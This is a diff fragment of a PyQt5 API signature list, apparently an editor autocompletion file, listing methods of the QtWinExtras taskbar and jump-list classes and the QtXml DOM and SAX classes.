+QtWinExtras.QtWin.isCompositionOpaque?4() -> bool +QtWinExtras.QtWin.setCurrentProcessExplicitAppUserModelID?4(QString) +QtWinExtras.QtWin.markFullscreenWindow?4(QWindow, bool fullscreen=True) +QtWinExtras.QtWin.taskbarActivateTab?4(QWindow) +QtWinExtras.QtWin.taskbarActivateTabAlt?4(QWindow) +QtWinExtras.QtWin.taskbarAddTab?4(QWindow) +QtWinExtras.QtWin.taskbarDeleteTab?4(QWindow) +QtWinExtras.QtWin.setWindowExcludedFromPeek?4(QWidget, bool) +QtWinExtras.QtWin.isWindowExcludedFromPeek?4(QWidget) -> bool +QtWinExtras.QtWin.setWindowDisallowPeek?4(QWidget, bool) +QtWinExtras.QtWin.isWindowPeekDisallowed?4(QWidget) -> bool +QtWinExtras.QtWin.setWindowFlip3DPolicy?4(QWidget, QtWin.WindowFlip3DPolicy) +QtWinExtras.QtWin.windowFlip3DPolicy?4(QWidget) -> QtWin.WindowFlip3DPolicy +QtWinExtras.QtWin.extendFrameIntoClientArea?4(QWidget, QMargins) +QtWinExtras.QtWin.extendFrameIntoClientArea?4(QWidget, int, int, int, int) +QtWinExtras.QtWin.resetExtendedFrame?4(QWidget) +QtWinExtras.QtWin.enableBlurBehindWindow?4(QWidget, QRegion) +QtWinExtras.QtWin.enableBlurBehindWindow?4(QWidget) +QtWinExtras.QtWin.disableBlurBehindWindow?4(QWidget) +QtWinExtras.QtWin.markFullscreenWindow?4(QWidget, bool fullscreen=True) +QtWinExtras.QtWin.taskbarActivateTab?4(QWidget) +QtWinExtras.QtWin.taskbarActivateTabAlt?4(QWidget) +QtWinExtras.QtWin.taskbarAddTab?4(QWidget) +QtWinExtras.QtWin.taskbarDeleteTab?4(QWidget) +QtWinExtras.QWinJumpList?1(QObject parent=None) +QtWinExtras.QWinJumpList.__init__?1(self, QObject parent=None) +QtWinExtras.QWinJumpList.identifier?4() -> QString +QtWinExtras.QWinJumpList.setIdentifier?4(QString) +QtWinExtras.QWinJumpList.recent?4() -> QWinJumpListCategory +QtWinExtras.QWinJumpList.frequent?4() -> QWinJumpListCategory +QtWinExtras.QWinJumpList.tasks?4() -> QWinJumpListCategory +QtWinExtras.QWinJumpList.categories?4() -> unknown-type +QtWinExtras.QWinJumpList.addCategory?4(QWinJumpListCategory) +QtWinExtras.QWinJumpList.addCategory?4(QString, unknown-type items=[]) -> QWinJumpListCategory +QtWinExtras.QWinJumpList.clear?4() +QtWinExtras.QWinJumpListCategory.Type?10 +QtWinExtras.QWinJumpListCategory.Type.Custom?10 +QtWinExtras.QWinJumpListCategory.Type.Recent?10 +QtWinExtras.QWinJumpListCategory.Type.Frequent?10 +QtWinExtras.QWinJumpListCategory.Type.Tasks?10 +QtWinExtras.QWinJumpListCategory?1(QString title='') +QtWinExtras.QWinJumpListCategory.__init__?1(self, QString title='') +QtWinExtras.QWinJumpListCategory.type?4() -> QWinJumpListCategory.Type +QtWinExtras.QWinJumpListCategory.isVisible?4() -> bool +QtWinExtras.QWinJumpListCategory.setVisible?4(bool) +QtWinExtras.QWinJumpListCategory.title?4() -> QString +QtWinExtras.QWinJumpListCategory.setTitle?4(QString) +QtWinExtras.QWinJumpListCategory.count?4() -> int +QtWinExtras.QWinJumpListCategory.isEmpty?4() -> bool +QtWinExtras.QWinJumpListCategory.items?4() -> unknown-type +QtWinExtras.QWinJumpListCategory.addItem?4(QWinJumpListItem) +QtWinExtras.QWinJumpListCategory.addDestination?4(QString) -> QWinJumpListItem +QtWinExtras.QWinJumpListCategory.addLink?4(QString, QString, QStringList arguments=[]) -> QWinJumpListItem +QtWinExtras.QWinJumpListCategory.addLink?4(QIcon, QString, QString, QStringList arguments=[]) -> QWinJumpListItem +QtWinExtras.QWinJumpListCategory.addSeparator?4() -> QWinJumpListItem +QtWinExtras.QWinJumpListCategory.clear?4() +QtWinExtras.QWinJumpListItem.Type?10 +QtWinExtras.QWinJumpListItem.Type.Destination?10 +QtWinExtras.QWinJumpListItem.Type.Link?10 +QtWinExtras.QWinJumpListItem.Type.Separator?10 +QtWinExtras.QWinJumpListItem?1(QWinJumpListItem.Type) +QtWinExtras.QWinJumpListItem.__init__?1(self, QWinJumpListItem.Type) +QtWinExtras.QWinJumpListItem.setType?4(QWinJumpListItem.Type) +QtWinExtras.QWinJumpListItem.type?4() -> QWinJumpListItem.Type +QtWinExtras.QWinJumpListItem.setFilePath?4(QString) +QtWinExtras.QWinJumpListItem.filePath?4() -> QString +QtWinExtras.QWinJumpListItem.setWorkingDirectory?4(QString) +QtWinExtras.QWinJumpListItem.workingDirectory?4() -> QString +QtWinExtras.QWinJumpListItem.setIcon?4(QIcon) +QtWinExtras.QWinJumpListItem.icon?4() -> QIcon +QtWinExtras.QWinJumpListItem.setTitle?4(QString) +QtWinExtras.QWinJumpListItem.title?4() -> QString +QtWinExtras.QWinJumpListItem.setDescription?4(QString) +QtWinExtras.QWinJumpListItem.description?4() -> QString +QtWinExtras.QWinJumpListItem.setArguments?4(QStringList) +QtWinExtras.QWinJumpListItem.arguments?4() -> QStringList +QtWinExtras.QWinTaskbarButton?1(QObject parent=None) +QtWinExtras.QWinTaskbarButton.__init__?1(self, QObject parent=None) +QtWinExtras.QWinTaskbarButton.setWindow?4(QWindow) +QtWinExtras.QWinTaskbarButton.window?4() -> QWindow +QtWinExtras.QWinTaskbarButton.overlayIcon?4() -> QIcon +QtWinExtras.QWinTaskbarButton.overlayAccessibleDescription?4() -> QString +QtWinExtras.QWinTaskbarButton.progress?4() -> QWinTaskbarProgress +QtWinExtras.QWinTaskbarButton.eventFilter?4(QObject, QEvent) -> bool +QtWinExtras.QWinTaskbarButton.setOverlayIcon?4(QIcon) +QtWinExtras.QWinTaskbarButton.setOverlayAccessibleDescription?4(QString) +QtWinExtras.QWinTaskbarButton.clearOverlayIcon?4() +QtWinExtras.QWinTaskbarProgress?1(QObject parent=None) +QtWinExtras.QWinTaskbarProgress.__init__?1(self, QObject parent=None) +QtWinExtras.QWinTaskbarProgress.value?4() -> int +QtWinExtras.QWinTaskbarProgress.minimum?4() -> int +QtWinExtras.QWinTaskbarProgress.maximum?4() -> int +QtWinExtras.QWinTaskbarProgress.isVisible?4() -> bool +QtWinExtras.QWinTaskbarProgress.isPaused?4() -> bool +QtWinExtras.QWinTaskbarProgress.isStopped?4() -> bool +QtWinExtras.QWinTaskbarProgress.setValue?4(int) +QtWinExtras.QWinTaskbarProgress.setMinimum?4(int) +QtWinExtras.QWinTaskbarProgress.setMaximum?4(int) +QtWinExtras.QWinTaskbarProgress.setRange?4(int, int) +QtWinExtras.QWinTaskbarProgress.reset?4() +QtWinExtras.QWinTaskbarProgress.show?4() +QtWinExtras.QWinTaskbarProgress.hide?4() +QtWinExtras.QWinTaskbarProgress.setVisible?4(bool) +QtWinExtras.QWinTaskbarProgress.pause?4() +QtWinExtras.QWinTaskbarProgress.resume?4() +QtWinExtras.QWinTaskbarProgress.setPaused?4(bool) +QtWinExtras.QWinTaskbarProgress.stop?4() +QtWinExtras.QWinTaskbarProgress.valueChanged?4(int) +QtWinExtras.QWinTaskbarProgress.minimumChanged?4(int) +QtWinExtras.QWinTaskbarProgress.maximumChanged?4(int) +QtWinExtras.QWinTaskbarProgress.visibilityChanged?4(bool) +QtWinExtras.QWinThumbnailToolBar?1(QObject parent=None) +QtWinExtras.QWinThumbnailToolBar.__init__?1(self, QObject parent=None) +QtWinExtras.QWinThumbnailToolBar.setWindow?4(QWindow) +QtWinExtras.QWinThumbnailToolBar.window?4() -> QWindow +QtWinExtras.QWinThumbnailToolBar.addButton?4(QWinThumbnailToolButton) +QtWinExtras.QWinThumbnailToolBar.removeButton?4(QWinThumbnailToolButton) +QtWinExtras.QWinThumbnailToolBar.setButtons?4(unknown-type) +QtWinExtras.QWinThumbnailToolBar.buttons?4() -> unknown-type +QtWinExtras.QWinThumbnailToolBar.count?4() -> int +QtWinExtras.QWinThumbnailToolBar.iconicPixmapNotificationsEnabled?4() -> bool +QtWinExtras.QWinThumbnailToolBar.setIconicPixmapNotificationsEnabled?4(bool) +QtWinExtras.QWinThumbnailToolBar.iconicThumbnailPixmap?4() -> QPixmap +QtWinExtras.QWinThumbnailToolBar.iconicLivePreviewPixmap?4() -> QPixmap +QtWinExtras.QWinThumbnailToolBar.clear?4() +QtWinExtras.QWinThumbnailToolBar.setIconicThumbnailPixmap?4(QPixmap) +QtWinExtras.QWinThumbnailToolBar.setIconicLivePreviewPixmap?4(QPixmap) +QtWinExtras.QWinThumbnailToolBar.iconicThumbnailPixmapRequested?4() +QtWinExtras.QWinThumbnailToolBar.iconicLivePreviewPixmapRequested?4() +QtWinExtras.QWinThumbnailToolButton?1(QObject parent=None) +QtWinExtras.QWinThumbnailToolButton.__init__?1(self, QObject parent=None) +QtWinExtras.QWinThumbnailToolButton.setToolTip?4(QString) +QtWinExtras.QWinThumbnailToolButton.toolTip?4() -> QString +QtWinExtras.QWinThumbnailToolButton.setIcon?4(QIcon) +QtWinExtras.QWinThumbnailToolButton.icon?4() -> QIcon +QtWinExtras.QWinThumbnailToolButton.setEnabled?4(bool) +QtWinExtras.QWinThumbnailToolButton.isEnabled?4() -> bool +QtWinExtras.QWinThumbnailToolButton.setInteractive?4(bool) +QtWinExtras.QWinThumbnailToolButton.isInteractive?4() -> bool +QtWinExtras.QWinThumbnailToolButton.setVisible?4(bool) +QtWinExtras.QWinThumbnailToolButton.isVisible?4() -> bool +QtWinExtras.QWinThumbnailToolButton.setDismissOnClick?4(bool) +QtWinExtras.QWinThumbnailToolButton.dismissOnClick?4() -> bool +QtWinExtras.QWinThumbnailToolButton.setFlat?4(bool) +QtWinExtras.QWinThumbnailToolButton.isFlat?4() -> bool +QtWinExtras.QWinThumbnailToolButton.click?4() +QtWinExtras.QWinThumbnailToolButton.clicked?4() +QtXml.QDomImplementation.InvalidDataPolicy?10 +QtXml.QDomImplementation.InvalidDataPolicy.AcceptInvalidChars?10 +QtXml.QDomImplementation.InvalidDataPolicy.DropInvalidChars?10 +QtXml.QDomImplementation.InvalidDataPolicy.ReturnNullNode?10 +QtXml.QDomImplementation?1() +QtXml.QDomImplementation.__init__?1(self) +QtXml.QDomImplementation?1(QDomImplementation) +QtXml.QDomImplementation.__init__?1(self, QDomImplementation) +QtXml.QDomImplementation.hasFeature?4(QString, QString) -> bool +QtXml.QDomImplementation.createDocumentType?4(QString, QString, QString) -> QDomDocumentType +QtXml.QDomImplementation.createDocument?4(QString, QString, QDomDocumentType) -> QDomDocument +QtXml.QDomImplementation.invalidDataPolicy?4() -> QDomImplementation.InvalidDataPolicy +QtXml.QDomImplementation.setInvalidDataPolicy?4(QDomImplementation.InvalidDataPolicy) +QtXml.QDomImplementation.isNull?4() -> bool +QtXml.QDomNode.EncodingPolicy?10 +QtXml.QDomNode.EncodingPolicy.EncodingFromDocument?10 +QtXml.QDomNode.EncodingPolicy.EncodingFromTextStream?10 +QtXml.QDomNode.NodeType?10 +QtXml.QDomNode.NodeType.ElementNode?10 +QtXml.QDomNode.NodeType.AttributeNode?10 +QtXml.QDomNode.NodeType.TextNode?10 +QtXml.QDomNode.NodeType.CDATASectionNode?10 +QtXml.QDomNode.NodeType.EntityReferenceNode?10 +QtXml.QDomNode.NodeType.EntityNode?10 +QtXml.QDomNode.NodeType.ProcessingInstructionNode?10 +QtXml.QDomNode.NodeType.CommentNode?10 +QtXml.QDomNode.NodeType.DocumentNode?10 +QtXml.QDomNode.NodeType.DocumentTypeNode?10 +QtXml.QDomNode.NodeType.DocumentFragmentNode?10 +QtXml.QDomNode.NodeType.NotationNode?10 +QtXml.QDomNode.NodeType.BaseNode?10 +QtXml.QDomNode.NodeType.CharacterDataNode?10 +QtXml.QDomNode?1() +QtXml.QDomNode.__init__?1(self) +QtXml.QDomNode?1(QDomNode) +QtXml.QDomNode.__init__?1(self, QDomNode) +QtXml.QDomNode.insertBefore?4(QDomNode, QDomNode) -> QDomNode +QtXml.QDomNode.insertAfter?4(QDomNode, QDomNode) -> QDomNode +QtXml.QDomNode.replaceChild?4(QDomNode, QDomNode) -> QDomNode +QtXml.QDomNode.removeChild?4(QDomNode) -> QDomNode +QtXml.QDomNode.appendChild?4(QDomNode) -> QDomNode +QtXml.QDomNode.hasChildNodes?4() -> bool +QtXml.QDomNode.cloneNode?4(bool deep=True) -> QDomNode +QtXml.QDomNode.normalize?4() +QtXml.QDomNode.isSupported?4(QString, QString) -> bool +QtXml.QDomNode.nodeName?4() -> QString +QtXml.QDomNode.nodeType?4() -> QDomNode.NodeType +QtXml.QDomNode.parentNode?4() -> QDomNode +QtXml.QDomNode.childNodes?4() -> QDomNodeList +QtXml.QDomNode.firstChild?4() -> QDomNode +QtXml.QDomNode.lastChild?4() -> QDomNode +QtXml.QDomNode.previousSibling?4() -> QDomNode +QtXml.QDomNode.nextSibling?4() -> QDomNode +QtXml.QDomNode.attributes?4() -> QDomNamedNodeMap +QtXml.QDomNode.ownerDocument?4() -> QDomDocument +QtXml.QDomNode.namespaceURI?4() -> QString +QtXml.QDomNode.localName?4() -> QString +QtXml.QDomNode.hasAttributes?4() -> bool +QtXml.QDomNode.nodeValue?4() -> QString +QtXml.QDomNode.setNodeValue?4(QString) +QtXml.QDomNode.prefix?4() -> QString +QtXml.QDomNode.setPrefix?4(QString) +QtXml.QDomNode.isAttr?4() -> bool +QtXml.QDomNode.isCDATASection?4() -> bool +QtXml.QDomNode.isDocumentFragment?4() -> bool +QtXml.QDomNode.isDocument?4() -> bool +QtXml.QDomNode.isDocumentType?4() -> bool +QtXml.QDomNode.isElement?4() -> bool +QtXml.QDomNode.isEntityReference?4() -> bool +QtXml.QDomNode.isText?4() -> bool +QtXml.QDomNode.isEntity?4() -> bool +QtXml.QDomNode.isNotation?4() -> bool +QtXml.QDomNode.isProcessingInstruction?4() -> bool +QtXml.QDomNode.isCharacterData?4() -> bool +QtXml.QDomNode.isComment?4() -> bool +QtXml.QDomNode.namedItem?4(QString) -> QDomNode +QtXml.QDomNode.isNull?4() -> bool +QtXml.QDomNode.clear?4() +QtXml.QDomNode.toAttr?4() -> QDomAttr +QtXml.QDomNode.toCDATASection?4() -> QDomCDATASection +QtXml.QDomNode.toDocumentFragment?4() -> QDomDocumentFragment +QtXml.QDomNode.toDocument?4() -> QDomDocument +QtXml.QDomNode.toDocumentType?4() -> QDomDocumentType +QtXml.QDomNode.toElement?4() -> QDomElement +QtXml.QDomNode.toEntityReference?4() -> QDomEntityReference +QtXml.QDomNode.toText?4() -> QDomText +QtXml.QDomNode.toEntity?4() -> QDomEntity +QtXml.QDomNode.toNotation?4() -> QDomNotation +QtXml.QDomNode.toProcessingInstruction?4() -> QDomProcessingInstruction +QtXml.QDomNode.toCharacterData?4() -> QDomCharacterData +QtXml.QDomNode.toComment?4() -> QDomComment +QtXml.QDomNode.save?4(QTextStream, int, QDomNode.EncodingPolicy=QDomNode.EncodingFromDocument) +QtXml.QDomNode.firstChildElement?4(QString tagName='') -> QDomElement +QtXml.QDomNode.lastChildElement?4(QString tagName='') -> QDomElement +QtXml.QDomNode.previousSiblingElement?4(QString tagName='') -> QDomElement +QtXml.QDomNode.nextSiblingElement?4(QString taName='') -> QDomElement +QtXml.QDomNode.lineNumber?4() -> int +QtXml.QDomNode.columnNumber?4() -> int +QtXml.QDomNodeList?1() +QtXml.QDomNodeList.__init__?1(self) +QtXml.QDomNodeList?1(QDomNodeList) +QtXml.QDomNodeList.__init__?1(self, QDomNodeList) +QtXml.QDomNodeList.item?4(int) -> QDomNode +QtXml.QDomNodeList.at?4(int) -> QDomNode +QtXml.QDomNodeList.length?4() -> int +QtXml.QDomNodeList.count?4() -> int +QtXml.QDomNodeList.size?4() -> int +QtXml.QDomNodeList.isEmpty?4() -> bool +QtXml.QDomDocumentType?1() +QtXml.QDomDocumentType.__init__?1(self) +QtXml.QDomDocumentType?1(QDomDocumentType) +QtXml.QDomDocumentType.__init__?1(self, QDomDocumentType) +QtXml.QDomDocumentType.name?4() -> QString +QtXml.QDomDocumentType.entities?4() -> QDomNamedNodeMap +QtXml.QDomDocumentType.notations?4() -> QDomNamedNodeMap +QtXml.QDomDocumentType.publicId?4() -> QString +QtXml.QDomDocumentType.systemId?4() -> QString +QtXml.QDomDocumentType.internalSubset?4() -> QString +QtXml.QDomDocumentType.nodeType?4() -> QDomNode.NodeType +QtXml.QDomDocument?1() +QtXml.QDomDocument.__init__?1(self) +QtXml.QDomDocument?1(QString) +QtXml.QDomDocument.__init__?1(self, QString) +QtXml.QDomDocument?1(QDomDocumentType) +QtXml.QDomDocument.__init__?1(self, QDomDocumentType) +QtXml.QDomDocument?1(QDomDocument) +QtXml.QDomDocument.__init__?1(self, QDomDocument) +QtXml.QDomDocument.createElement?4(QString) -> QDomElement +QtXml.QDomDocument.createDocumentFragment?4() -> QDomDocumentFragment +QtXml.QDomDocument.createTextNode?4(QString) -> QDomText +QtXml.QDomDocument.createComment?4(QString) -> QDomComment +QtXml.QDomDocument.createCDATASection?4(QString) -> QDomCDATASection +QtXml.QDomDocument.createProcessingInstruction?4(QString, QString) -> QDomProcessingInstruction +QtXml.QDomDocument.createAttribute?4(QString) -> QDomAttr +QtXml.QDomDocument.createEntityReference?4(QString) -> QDomEntityReference +QtXml.QDomDocument.elementsByTagName?4(QString) -> QDomNodeList +QtXml.QDomDocument.importNode?4(QDomNode, bool) -> QDomNode +QtXml.QDomDocument.createElementNS?4(QString, QString) -> QDomElement +QtXml.QDomDocument.createAttributeNS?4(QString, QString) -> QDomAttr +QtXml.QDomDocument.elementsByTagNameNS?4(QString, QString) -> QDomNodeList +QtXml.QDomDocument.elementById?4(QString) -> QDomElement +QtXml.QDomDocument.doctype?4() -> QDomDocumentType +QtXml.QDomDocument.implementation?4() -> QDomImplementation +QtXml.QDomDocument.documentElement?4() -> QDomElement +QtXml.QDomDocument.nodeType?4() -> QDomNode.NodeType +QtXml.QDomDocument.setContent?4(QByteArray, bool) -> (bool, QString, int, int) +QtXml.QDomDocument.setContent?4(QString, bool) -> (bool, QString, int, int) +QtXml.QDomDocument.setContent?4(QIODevice, bool) -> (bool, QString, int, int) +QtXml.QDomDocument.setContent?4(QXmlInputSource, bool) -> (bool, QString, int, int) +QtXml.QDomDocument.setContent?4(QByteArray) -> (bool, QString, int, int) +QtXml.QDomDocument.setContent?4(QString) -> (bool, QString, int, int) +QtXml.QDomDocument.setContent?4(QIODevice) -> (bool, QString, int, int) +QtXml.QDomDocument.setContent?4(QXmlInputSource, QXmlReader) -> (bool, QString, int, int) +QtXml.QDomDocument.setContent?4(QXmlStreamReader, bool) -> (bool, QString, int, int) +QtXml.QDomDocument.toString?4(int indent=1) -> QString +QtXml.QDomDocument.toByteArray?4(int indent=1) -> QByteArray +QtXml.QDomNamedNodeMap?1() +QtXml.QDomNamedNodeMap.__init__?1(self) +QtXml.QDomNamedNodeMap?1(QDomNamedNodeMap) +QtXml.QDomNamedNodeMap.__init__?1(self, QDomNamedNodeMap) +QtXml.QDomNamedNodeMap.namedItem?4(QString) -> QDomNode +QtXml.QDomNamedNodeMap.setNamedItem?4(QDomNode) -> QDomNode +QtXml.QDomNamedNodeMap.removeNamedItem?4(QString) -> QDomNode +QtXml.QDomNamedNodeMap.item?4(int) -> QDomNode +QtXml.QDomNamedNodeMap.namedItemNS?4(QString, QString) -> QDomNode +QtXml.QDomNamedNodeMap.setNamedItemNS?4(QDomNode) -> QDomNode +QtXml.QDomNamedNodeMap.removeNamedItemNS?4(QString, QString) -> QDomNode +QtXml.QDomNamedNodeMap.length?4() -> int +QtXml.QDomNamedNodeMap.count?4() -> int +QtXml.QDomNamedNodeMap.size?4() -> int +QtXml.QDomNamedNodeMap.isEmpty?4() -> bool +QtXml.QDomNamedNodeMap.contains?4(QString) -> bool +QtXml.QDomDocumentFragment?1() +QtXml.QDomDocumentFragment.__init__?1(self) +QtXml.QDomDocumentFragment?1(QDomDocumentFragment) +QtXml.QDomDocumentFragment.__init__?1(self, QDomDocumentFragment) +QtXml.QDomDocumentFragment.nodeType?4() -> QDomNode.NodeType +QtXml.QDomCharacterData?1() +QtXml.QDomCharacterData.__init__?1(self) +QtXml.QDomCharacterData?1(QDomCharacterData) +QtXml.QDomCharacterData.__init__?1(self, QDomCharacterData) +QtXml.QDomCharacterData.substringData?4(int, int) -> QString +QtXml.QDomCharacterData.appendData?4(QString) +QtXml.QDomCharacterData.insertData?4(int, QString) +QtXml.QDomCharacterData.deleteData?4(int, int) +QtXml.QDomCharacterData.replaceData?4(int, int, QString) +QtXml.QDomCharacterData.length?4() -> int +QtXml.QDomCharacterData.data?4() -> QString +QtXml.QDomCharacterData.setData?4(QString) +QtXml.QDomCharacterData.nodeType?4() -> QDomNode.NodeType +QtXml.QDomAttr?1() +QtXml.QDomAttr.__init__?1(self) +QtXml.QDomAttr?1(QDomAttr) +QtXml.QDomAttr.__init__?1(self, QDomAttr) +QtXml.QDomAttr.name?4() -> QString +QtXml.QDomAttr.specified?4() -> bool +QtXml.QDomAttr.ownerElement?4() -> QDomElement +QtXml.QDomAttr.value?4() -> QString +QtXml.QDomAttr.setValue?4(QString) +QtXml.QDomAttr.nodeType?4() -> QDomNode.NodeType +QtXml.QDomElement?1() +QtXml.QDomElement.__init__?1(self) +QtXml.QDomElement?1(QDomElement) +QtXml.QDomElement.__init__?1(self, QDomElement) +QtXml.QDomElement.attribute?4(QString, QString defaultValue='') -> QString +QtXml.QDomElement.setAttribute?4(QString, QString) +QtXml.QDomElement.setAttribute?4(QString, int) +QtXml.QDomElement.setAttribute?4(QString, int) +QtXml.QDomElement.setAttribute?4(QString, float) +QtXml.QDomElement.setAttribute?4(QString, int) +QtXml.QDomElement.removeAttribute?4(QString) +QtXml.QDomElement.attributeNode?4(QString) -> QDomAttr +QtXml.QDomElement.setAttributeNode?4(QDomAttr) -> QDomAttr +QtXml.QDomElement.removeAttributeNode?4(QDomAttr) -> QDomAttr +QtXml.QDomElement.elementsByTagName?4(QString) -> QDomNodeList +QtXml.QDomElement.hasAttribute?4(QString) -> bool +QtXml.QDomElement.attributeNS?4(QString, QString, QString defaultValue='') -> QString +QtXml.QDomElement.setAttributeNS?4(QString, QString, QString) +QtXml.QDomElement.setAttributeNS?4(QString, QString, int) +QtXml.QDomElement.setAttributeNS?4(QString, QString, int) +QtXml.QDomElement.setAttributeNS?4(QString, QString, float) +QtXml.QDomElement.setAttributeNS?4(QString, QString, int) +QtXml.QDomElement.removeAttributeNS?4(QString, QString) +QtXml.QDomElement.attributeNodeNS?4(QString, QString) -> QDomAttr +QtXml.QDomElement.setAttributeNodeNS?4(QDomAttr) -> QDomAttr +QtXml.QDomElement.elementsByTagNameNS?4(QString, QString) -> QDomNodeList +QtXml.QDomElement.hasAttributeNS?4(QString, QString) -> bool +QtXml.QDomElement.tagName?4() -> QString +QtXml.QDomElement.setTagName?4(QString) +QtXml.QDomElement.attributes?4() -> QDomNamedNodeMap +QtXml.QDomElement.nodeType?4() -> QDomNode.NodeType +QtXml.QDomElement.text?4() -> QString +QtXml.QDomText?1() +QtXml.QDomText.__init__?1(self) +QtXml.QDomText?1(QDomText) +QtXml.QDomText.__init__?1(self, QDomText) +QtXml.QDomText.splitText?4(int) -> QDomText +QtXml.QDomText.nodeType?4() -> QDomNode.NodeType +QtXml.QDomComment?1() +QtXml.QDomComment.__init__?1(self) +QtXml.QDomComment?1(QDomComment) +QtXml.QDomComment.__init__?1(self, QDomComment) +QtXml.QDomComment.nodeType?4() -> QDomNode.NodeType +QtXml.QDomCDATASection?1() +QtXml.QDomCDATASection.__init__?1(self) +QtXml.QDomCDATASection?1(QDomCDATASection) +QtXml.QDomCDATASection.__init__?1(self, QDomCDATASection) +QtXml.QDomCDATASection.nodeType?4() -> QDomNode.NodeType +QtXml.QDomNotation?1() +QtXml.QDomNotation.__init__?1(self) +QtXml.QDomNotation?1(QDomNotation) +QtXml.QDomNotation.__init__?1(self, QDomNotation) +QtXml.QDomNotation.publicId?4() -> QString +QtXml.QDomNotation.systemId?4() -> QString +QtXml.QDomNotation.nodeType?4() -> QDomNode.NodeType +QtXml.QDomEntity?1() +QtXml.QDomEntity.__init__?1(self) +QtXml.QDomEntity?1(QDomEntity) +QtXml.QDomEntity.__init__?1(self, QDomEntity) +QtXml.QDomEntity.publicId?4() -> QString +QtXml.QDomEntity.systemId?4() -> QString +QtXml.QDomEntity.notationName?4() -> QString +QtXml.QDomEntity.nodeType?4() -> QDomNode.NodeType +QtXml.QDomEntityReference?1() +QtXml.QDomEntityReference.__init__?1(self) +QtXml.QDomEntityReference?1(QDomEntityReference) +QtXml.QDomEntityReference.__init__?1(self, QDomEntityReference) +QtXml.QDomEntityReference.nodeType?4() -> QDomNode.NodeType +QtXml.QDomProcessingInstruction?1() +QtXml.QDomProcessingInstruction.__init__?1(self) +QtXml.QDomProcessingInstruction?1(QDomProcessingInstruction) +QtXml.QDomProcessingInstruction.__init__?1(self, QDomProcessingInstruction) +QtXml.QDomProcessingInstruction.target?4() -> QString +QtXml.QDomProcessingInstruction.data?4() -> QString +QtXml.QDomProcessingInstruction.setData?4(QString) +QtXml.QDomProcessingInstruction.nodeType?4() -> QDomNode.NodeType +QtXml.QXmlNamespaceSupport?1() +QtXml.QXmlNamespaceSupport.__init__?1(self) +QtXml.QXmlNamespaceSupport.setPrefix?4(QString, QString) +QtXml.QXmlNamespaceSupport.prefix?4(QString) -> QString +QtXml.QXmlNamespaceSupport.uri?4(QString) -> QString +QtXml.QXmlNamespaceSupport.splitName?4(QString, QString, QString) +QtXml.QXmlNamespaceSupport.processName?4(QString, bool, QString, QString) +QtXml.QXmlNamespaceSupport.prefixes?4() -> QStringList +QtXml.QXmlNamespaceSupport.prefixes?4(QString) -> QStringList +QtXml.QXmlNamespaceSupport.pushContext?4() +QtXml.QXmlNamespaceSupport.popContext?4() +QtXml.QXmlNamespaceSupport.reset?4() +QtXml.QXmlAttributes?1() +QtXml.QXmlAttributes.__init__?1(self) +QtXml.QXmlAttributes?1(QXmlAttributes) +QtXml.QXmlAttributes.__init__?1(self, QXmlAttributes) +QtXml.QXmlAttributes.index?4(QString) -> int +QtXml.QXmlAttributes.index?4(QString, QString) -> int +QtXml.QXmlAttributes.length?4() -> int +QtXml.QXmlAttributes.localName?4(int) -> QString +QtXml.QXmlAttributes.qName?4(int) -> QString +QtXml.QXmlAttributes.uri?4(int) -> QString +QtXml.QXmlAttributes.type?4(int) -> QString +QtXml.QXmlAttributes.type?4(QString) -> QString +QtXml.QXmlAttributes.type?4(QString, QString) -> QString +QtXml.QXmlAttributes.value?4(int) -> QString +QtXml.QXmlAttributes.value?4(QString) -> QString +QtXml.QXmlAttributes.value?4(QString, QString) -> QString +QtXml.QXmlAttributes.clear?4() +QtXml.QXmlAttributes.append?4(QString, QString, QString, QString) +QtXml.QXmlAttributes.count?4() -> int +QtXml.QXmlAttributes.swap?4(QXmlAttributes) +QtXml.QXmlInputSource.EndOfData?7 +QtXml.QXmlInputSource.EndOfDocument?7 +QtXml.QXmlInputSource?1() +QtXml.QXmlInputSource.__init__?1(self) +QtXml.QXmlInputSource?1(QIODevice) +QtXml.QXmlInputSource.__init__?1(self, QIODevice) +QtXml.QXmlInputSource?1(QXmlInputSource) +QtXml.QXmlInputSource.__init__?1(self, QXmlInputSource) +QtXml.QXmlInputSource.setData?4(QString) +QtXml.QXmlInputSource.setData?4(QByteArray) +QtXml.QXmlInputSource.fetchData?4() +QtXml.QXmlInputSource.data?4() -> QString +QtXml.QXmlInputSource.next?4() -> QChar +QtXml.QXmlInputSource.reset?4() +QtXml.QXmlInputSource.fromRawData?4(QByteArray, bool beginning=False) -> QString +QtXml.QXmlParseException?1(QString name='', int column=-1, int line=-1, QString publicId='', QString systemId='') +QtXml.QXmlParseException.__init__?1(self, QString name='', int column=-1, int line=-1, QString publicId='', QString systemId='') +QtXml.QXmlParseException?1(QXmlParseException) +QtXml.QXmlParseException.__init__?1(self, QXmlParseException) +QtXml.QXmlParseException.columnNumber?4() -> int +QtXml.QXmlParseException.lineNumber?4() -> int +QtXml.QXmlParseException.publicId?4() -> QString +QtXml.QXmlParseException.systemId?4() -> QString +QtXml.QXmlParseException.message?4() -> QString +QtXml.QXmlReader?1() +QtXml.QXmlReader.__init__?1(self) +QtXml.QXmlReader?1(QXmlReader) +QtXml.QXmlReader.__init__?1(self, QXmlReader) +QtXml.QXmlReader.feature?4(QString) -> (bool, bool) +QtXml.QXmlReader.setFeature?4(QString, bool) +QtXml.QXmlReader.hasFeature?4(QString) -> bool +QtXml.QXmlReader.property?4(QString) -> (sip.voidptr, bool) +QtXml.QXmlReader.setProperty?4(QString, sip.voidptr) +QtXml.QXmlReader.hasProperty?4(QString) -> bool +QtXml.QXmlReader.setEntityResolver?4(QXmlEntityResolver) +QtXml.QXmlReader.entityResolver?4() -> QXmlEntityResolver +QtXml.QXmlReader.setDTDHandler?4(QXmlDTDHandler) +QtXml.QXmlReader.DTDHandler?4() -> QXmlDTDHandler +QtXml.QXmlReader.setContentHandler?4(QXmlContentHandler) +QtXml.QXmlReader.contentHandler?4() -> QXmlContentHandler +QtXml.QXmlReader.setErrorHandler?4(QXmlErrorHandler) +QtXml.QXmlReader.errorHandler?4() -> QXmlErrorHandler +QtXml.QXmlReader.setLexicalHandler?4(QXmlLexicalHandler) +QtXml.QXmlReader.lexicalHandler?4() -> QXmlLexicalHandler +QtXml.QXmlReader.setDeclHandler?4(QXmlDeclHandler) +QtXml.QXmlReader.declHandler?4() -> QXmlDeclHandler +QtXml.QXmlReader.parse?4(QXmlInputSource) -> bool +QtXml.QXmlReader.parse?4(QXmlInputSource) -> bool +QtXml.QXmlSimpleReader?1() +QtXml.QXmlSimpleReader.__init__?1(self) 